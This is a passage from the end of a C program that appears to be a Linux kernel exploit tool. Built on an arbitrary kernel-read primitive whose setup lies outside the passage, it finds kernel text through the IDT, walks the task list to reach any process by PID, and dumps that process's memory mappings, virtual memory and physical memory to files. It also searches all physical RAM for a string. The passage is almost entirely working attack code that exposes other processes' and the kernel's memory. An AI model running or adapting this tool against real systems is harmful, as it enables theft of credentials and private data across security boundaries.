    }
}
 
#define MAX_MMAPS_PER_TASK 512
 
struct mmap_entry {
    unsigned long start;
    unsigned long end;
    unsigned flags;
};
 
typedef void (*mmap_callback)(struct mmap_entry *entry, void *private);
 
static void for_each_mmap_from(unsigned long mmap, mmap_callback callback,
                void *private) {
    struct mmap_entry entries[MAX_MMAPS_PER_TASK];
    int i, count;
 
    count = 0;
    while (mmap != 0) {
        assert(count < MAX_MMAPS_PER_TASK);
        unsigned long vm_start =
            read_field_8(mmap, O_VM_AREA_STRUCT_VM_START);
        unsigned long vm_end =
            read_field_8(mmap, O_VM_AREA_STRUCT_VM_END);
        if (vm_start >= TASK_SIZE || vm_end >= TASK_SIZE) {
            info("[-] bad mmap (did the task die?)\n");
            exit(EXIT_FAILURE);
        }
        unsigned vm_flags =
            read_field_4(mmap, O_VM_AREA_STRUCT_VM_FLAGS);
        entries[count].start = vm_start;
        entries[count].end = vm_end;
        entries[count].flags = vm_flags;
        count++;
        mmap = read_field_8(mmap, O_VM_AREA_STRUCT_VM_NEXT);
    }
 
    for (i = 0; i < count; i++)
        callback(&entries[i], private);
}
 
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 
static unsigned long g_kernel_text = 0;
static unsigned long g_physmap = 0;
 
static struct ptsc g_ptsc;
 
static void physmap_init() {
    unsigned long divide_error = read_idt_gate(0);
    info("[.] divide_error:     %016lx\n", divide_error);
 
    g_kernel_text = divide_error - O_DIVIDE_ERROR;
    info("[.] kernel text:      %016lx\n", g_kernel_text);
 
    if (O_PAGE_OFFSET_BASE) {
        unsigned long page_offset_base =
            g_kernel_text + O_PAGE_OFFSET_BASE;
        info("[.] page_offset_base: %016lx\n", page_offset_base);
 
        g_physmap = read_8(page_offset_base);
        info("[.] physmap:          %016lx\n", g_physmap);
        if (g_physmap < PAGE_OFFSET_BASE) {
            info("[-] physmap sanity check failed "
                    "(wrong offset?)\n");
            exit(EXIT_FAILURE);
        }
    } else {
        g_physmap = PAGE_OFFSET_BASE;
        info("[.] physmap:          %016lx\n", g_physmap);
    }
}
 
static unsigned long g_mmap = 0;
 
static void pts_init(int pid) {
    unsigned long mm;
 
    if (pid != 0) {
        unsigned long init_task = g_kernel_text + O_INIT_TASK;
        info("[.] init_task:        %016lx\n", init_task);
 
        unsigned long task = find_task_by_pid(init_task, pid);
        info("[.] task:             %016lx\n", task);
        if (task == 0) {
            info("[-] task %d not found\n", pid);
            exit(EXIT_FAILURE);
        } else if (task < PAGE_OFFSET_BASE) {
            info("[-] task sanity check failed (wrong offset?)\n");
            exit(EXIT_FAILURE);
        }
 
        mm = read_field_8(task, O_TASK_STRUCT_MM);
        info("[.] task->mm:         %016lx\n", mm);
        if (mm == 0) {
            info("[-] mm not found (kernel task?)\n");
            exit(EXIT_FAILURE);
        } else if (mm < PAGE_OFFSET_BASE) {
            info("[-] mm sanity check failed (wrong offset?)\n");
            exit(EXIT_FAILURE);
        }
 
        g_mmap = read_field_8(mm, O_MM_STRUCT_MMAP);
        info("[.] task->mm->mmap:   %016lx\n", g_mmap);
        if (g_mmap < PAGE_OFFSET_BASE) {
            info("[-] mmap sanity check failed (wrong offset?)\n");
            exit(EXIT_FAILURE);
        }
    } else {
        mm = g_kernel_text + O_INIT_MM;
    }
 
    unsigned long pgd = read_field_8(mm, O_MM_STRUCT_PGD);
    info("[.] task->mm->pgd:    %016lx\n", pgd);
    if (pgd < PAGE_OFFSET_BASE) {
        info("[-] pgd sanity check failed (wrong offset?)\n");
        exit(EXIT_FAILURE);
    }
 
    ptsc_init(&g_ptsc, g_physmap, pgd);
}
 
static unsigned long page_virt_to_phys(unsigned long addr) {
    unsigned long paddr = ptsc_page_virt_to_phys(&g_ptsc, addr);
    assert(paddr != 0);
    return paddr - g_physmap;
}
 
static bool page_check_virt(unsigned long addr) {
    unsigned long paddr = ptsc_page_virt_to_phys(&g_ptsc, addr);
    return paddr != 0;
}
 
static bool page_check_phys(unsigned long offset) {
    return page_check_virt(g_physmap + offset);
}
 
static void phys_read_range(unsigned long offset, size_t length, char *buffer) {
    read_range(g_physmap + offset, length, buffer);
}
 
static void for_each_mmap(mmap_callback callback, void *private) {
    for_each_mmap_from(g_mmap, callback, private);
}
 
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 
static int create_file(const char *path) {
    int fd = open(path, O_RDWR | O_CREAT, 0644);
    if (fd < 0) {
        perror("[-] open()");
        exit(EXIT_FAILURE);
    }
    return fd;
}
 
static int open_dir(const char *path) {
    int fd = open(path, O_DIRECTORY | O_PATH);
    if (fd < 0) {
        perror("[-] open()");
        exit(EXIT_FAILURE);
    }
    return fd;
}
 
static int create_file_in_dir(int dirfd, const char *name) {
    int fd = openat(dirfd, name, O_RDWR | O_CREAT, 0644);
    if (fd < 0) {
        perror("[-] openat()");
        exit(EXIT_FAILURE);
    }
    return fd;
}
 
static void write_file(int fd, char *buffer, size_t length) {
    int rv = write(fd, buffer, length);
    if (rv != length) {
        perror("[-] write()");
        exit(EXIT_FAILURE);
    }
}
 
static void write_bytes(int fd, unsigned long src_addr,
            char *buffer, size_t length) {
    if (fd < 0)
        print_bytes(LOG_INFO, src_addr, buffer, length);
    else
        write_file(fd, buffer, length);
}
 
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 
void read_virt_memory(unsigned long addr, size_t length, int fd) {
    char buffer[PAGE_SIZE];
    char empty[PAGE_SIZE];
 
    debug1("read_virt_memory: addr = %016lx, length = %016lx\n",
            addr, length);
 
    memset(&empty[0], 0, sizeof(empty));
 
    size_t total_read = 0;
    while (total_read < length) {
        unsigned long current = addr + total_read;
        size_t to_read = PAGE_SIZE;
        if (current % PAGE_SIZE != 0)
            to_read = PAGE_SIZE - current % PAGE_SIZE;
        to_read = min(to_read, length - total_read);
        if (page_check_virt(addr + total_read)) {
            read_range(addr + total_read, to_read, &buffer[0]);
            write_bytes(fd, addr + total_read, &buffer[0], to_read);
        } else {
            write_bytes(fd, addr + total_read, &empty[0], to_read);
        }
        total_read += to_read;
    }
}
 
void read_phys_memory(unsigned long src_addr, unsigned long offset,
            size_t length, int fd) {
    char buffer[PAGE_SIZE];
    char empty[PAGE_SIZE];
 
    debug1("read_phys_memory: offset = %016lx, length = %016lx\n",
            offset, length);
 
    memset(&empty[0], 0, sizeof(empty));
 
    size_t total_read = 0;
    while (total_read < length) {
        unsigned long current = offset + total_read;
        size_t to_read = PAGE_SIZE;
        if (current % PAGE_SIZE != 0)
            to_read = PAGE_SIZE - current % PAGE_SIZE;
        to_read = min(to_read, length - total_read);
        if (page_check_phys(offset + total_read)) {
            phys_read_range(offset + total_read, to_read,
                        &buffer[0]);
            write_bytes(fd, src_addr + offset + total_read,
                    &buffer[0], to_read);
        } else {
            write_bytes(fd, src_addr + offset + total_read,
                    &empty[0], to_read);
        }
        total_read += to_read;
    }
}
 
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 
#define VM_READ     0x00000001
#define VM_WRITE    0x00000002
#define VM_EXEC     0x00000004
 
static void print_mmap(unsigned long start, unsigned long end, unsigned flags) {
    info("[%016lx, %016lx)  %s%s%s\n",
        start, end,
        (flags & VM_READ)  ? "r" : "-",
        (flags & VM_WRITE) ? "w" : "-",
        (flags & VM_EXEC)  ? "x" : "-");
}
 
static void name_mmap(unsigned long start, unsigned long end, unsigned flags,
            char *buffer, size_t length) {
    snprintf(buffer, length, "%016lx_%016lx_%s%s%s",
        start, end,
        (flags & VM_READ)  ? "r" : "-",
        (flags & VM_WRITE) ? "w" : "-",
        (flags & VM_EXEC)  ? "x" : "-");
}
 
static void save_mmap(struct mmap_entry *entry, void *private) {
    int dirfd = (int)(unsigned long)private;
    unsigned long length;
    char name[128];
    char empty[PAGE_SIZE];
 
    assert(entry->start % PAGE_SIZE == 0);
    assert(entry->end % PAGE_SIZE == 0);
 
    memset(&empty, 0, sizeof(empty));
    length = entry->end - entry->start;
 
    print_mmap(entry->start, entry->end, entry->flags);
    name_mmap(entry->start, entry->end, entry->flags,
            &name[0], sizeof(name));
    int fd = create_file_in_dir(dirfd, &name[0]);
 
    size_t total_read = 0;
    while (total_read < length) {
        if (page_check_virt(entry->start + total_read)) {
            unsigned long offset = page_virt_to_phys(
                entry->start + total_read);
            read_phys_memory(entry->start + total_read, offset,
                        PAGE_SIZE, fd);
        } else {
            write_bytes(fd, entry->start + total_read,
                    &empty[0], PAGE_SIZE);
        }
        total_read += PAGE_SIZE;
    }
 
    close(fd);
}
 
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 
unsigned long get_phys_size() {
    struct sysinfo info;
    int rv = sysinfo(&info);
    if (rv != 0) {
        perror("sysinfo()");
        return EXIT_FAILURE;
    }
    debug1("phys size: %016lx\n", info.totalram);
    return info.totalram;
}
 
void phys_search(unsigned long start, unsigned long end, char *needle) {
    char buffer[PAGE_SIZE];
    int length = strlen(needle);
 
    assert(length <= PAGE_SIZE);
 
    unsigned long offset;
    for (offset = start; offset < end; offset += PAGE_SIZE) {
        if (offset % (32ul << 20) == 0)
            info("[.] now at %016lx\n", offset);
        if (!page_check_phys(offset))
            continue;
        phys_read_range(offset, length, &buffer[0]);
        if (memcmp(&buffer[0], needle, length) != 0)
            continue;
        info("[+] found at %016lx\n", offset);
        return;
    }
    info("[-] not found\n");
}
 
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 
#define CMD_IDT     1
#define CMD_PID     2
#define CMD_VIRT    3
#define CMD_PHYS    4
#define CMD_SEARCH  5
 
int g_cmd = 0;
 
static unsigned g_num = 1;
static unsigned g_pid = 0;
static unsigned long g_addr = 0;
static unsigned long g_length = 0;
static unsigned long g_offset = 0;
static const char *g_dir = NULL;
static const char *g_file = NULL;
static char *g_string = NULL;
 
static void print_usage(const char* name) {
    info("Usage: \n");
    info(" %s idt [NUM]                       "
            "dump IDT entries\n", name);
    info(" %s pid PID DIR                     "
            "dump process memory\n", name);
    info(" %s virt ADDR LENGTH [FILE]         "
            "dump virtual memory\n", name);
    info(" %s phys OFFSET LENGTH [FILE]       "
            "dump physical memory\n", name);
    info(" %s search STRING [OFFSET [LENGTH]] "
            "search start of each physical page\n", name);
    info("\n");
    info(" NUM, PID - decimals\n");
    info(" ADDR, LENGTH, OFFSET - hex\n");
    info(" DIR, FILE, STRING - strings\n");
}
 
static bool parse_u(char *s, int base, unsigned *out) {
    int length = strlen(s);
    char *endptr = NULL;
    unsigned long result = strtoul(s, &endptr, base);
    if (endptr != s + length)
        return false;
    *out = result;
    return true;
}
 
static bool parse_ul(char *s, int base, unsigned long *out) {
    int length = strlen(s);
    char *endptr = NULL;
    unsigned long result = strtoul(s, &endptr, base);
    if (endptr != s + length)
        return false;
    *out = result;
    return true;
}
 
static int parse_cmd(const char *cmd) {
    if (strcmp(cmd, "idt") == 0)
        return CMD_IDT;
    if (strcmp(cmd, "pid") == 0)
        return CMD_PID;
    if (strcmp(cmd, "virt") == 0)
        return CMD_VIRT;
    if (strcmp(cmd, "phys") == 0)
        return CMD_PHYS;
    if (strcmp(cmd, "search") == 0)
        return CMD_SEARCH;
    return 0;
}
 
static bool parse_args(int argc, char **argv) {
    if (argc < 2)
        return false;
 
    g_cmd = parse_cmd(argv[1]);
 
    switch (g_cmd) {
    case CMD_IDT:
        if (argc > 3)
            return false;
        if (argc >= 3 && !parse_u(argv[2], 10, &g_num))
            return false;
        return true;
    case CMD_PID:
        if (argc != 4)
            return false;
        if (!parse_u(argv[2], 10, &g_pid))
            return false;
        if (g_pid <= 0)
            return false;
        g_dir = argv[3];    
        debug1("CMD_PID %u %s\n", g_pid, g_dir);
        return true;
    case CMD_VIRT:
        if (argc < 4 || argc > 5)
            return false;
        if (!parse_ul(argv[2], 16, &g_addr))
            return false;
        if (!parse_ul(argv[3], 16, &g_length))
            return false;
        if (argc == 5)
            g_file = argv[4];
        debug1("CMD_VIRT %016lx %016lx %s\n", g_addr,
                g_length, g_file ? g_file : "NULL");
        return true;
    case CMD_PHYS:
        if (argc < 4 || argc > 5)
            return false;
        if (!parse_ul(argv[2], 16, &g_offset))
            return false;
        if (!parse_ul(argv[3], 16, &g_length))
            return false;
        if (argc == 5)
            g_file = argv[4];
        debug1("CMD_PHYS %016lx %016lx %s\n", g_offset,
                g_length, g_file ? g_file : "NULL");
        return true;
    case CMD_SEARCH:
        if (argc < 3 || argc > 5)
            return false;
        g_string = argv[2];
        if (argc >= 4 && !parse_ul(argv[3], 16, &g_offset))
            return false;
        if (argc >= 5 && !parse_ul(argv[4], 16, &g_length))
            return false;
        debug1("CMD_SEARCH <%s> %016lx %016lx\n",
                g_string, g_offset, g_length);
        return true;
    default:
        return false;
    }
 
    return true;
}
 
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 
void handle_cmd_idt() {
    info("[.] dumping IDT\n");
    print_idt(g_num);
    info("[+] done\n");
}
 
void handle_cmd_virt() {
    int fd = -1;
    info("[.] dumping virtual memory [%016lx, %016lx):\n",
        g_addr, g_addr + g_length);
    if (g_file != NULL)
        fd = create_file(g_file);
    read_virt_memory(g_addr, g_length, fd);
    if (fd != -1)
        close(fd);
    info("[+] done\n");
}
 
void handle_cmd_phys() {
    int fd = -1;
    info("[.] dumping physical memory [%016lx, %016lx):\n",
        g_offset, g_offset + g_length);
    if (g_file != NULL)
        fd = create_file(g_file);
    read_phys_memory(0, g_offset, g_length, fd);
    if (fd != -1)
        close(fd);
    info("[+] done\n");
}
 
void handle_cmd_pid() {
    info("[.] dumping mmaps for %u:\n", g_pid);
    int dirfd = open_dir(g_dir);
    for_each_mmap(save_mmap, (void *)(unsigned long)dirfd);
    close(dirfd);
    info("[+] done\n");
}
 
void handle_cmd_search() {
    unsigned long start = g_offset ? g_offset : 0;
    unsigned long end = g_length ? (start + g_length) : get_phys_size();
    info("[.] searching [%016lx, %016lx) for '%s':\n",
            start, end, g_string);
    phys_search(start, end, g_string);
    info("[+] done\n");
}
 
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 
int main(int argc, char **argv) {
    assert(getpagesize() == PAGE_SIZE);
 
    if (!parse_args(argc, argv)) {
        print_usage(argv[0]);
        exit(EXIT_FAILURE);
    }
 
    arbitrary_read_init();
 
    if (g_cmd == CMD_IDT) {
        handle_cmd_idt();
        return EXIT_SUCCESS;
    }
 
    physmap_init();
 
    switch (g_cmd) {
    case CMD_VIRT:
        pts_init(getpid());
        handle_cmd_virt();
        break;
    case CMD_PHYS:
        pts_init(0);
        handle_cmd_phys();
        break;
    case CMD_SEARCH:
        pts_init(0);
        handle_cmd_search();
        break;
    case CMD_PID:
        pts_init(g_pid);
        handle_cmd_pid();
        break;
    }
 
    return EXIT_SUCCESS;
}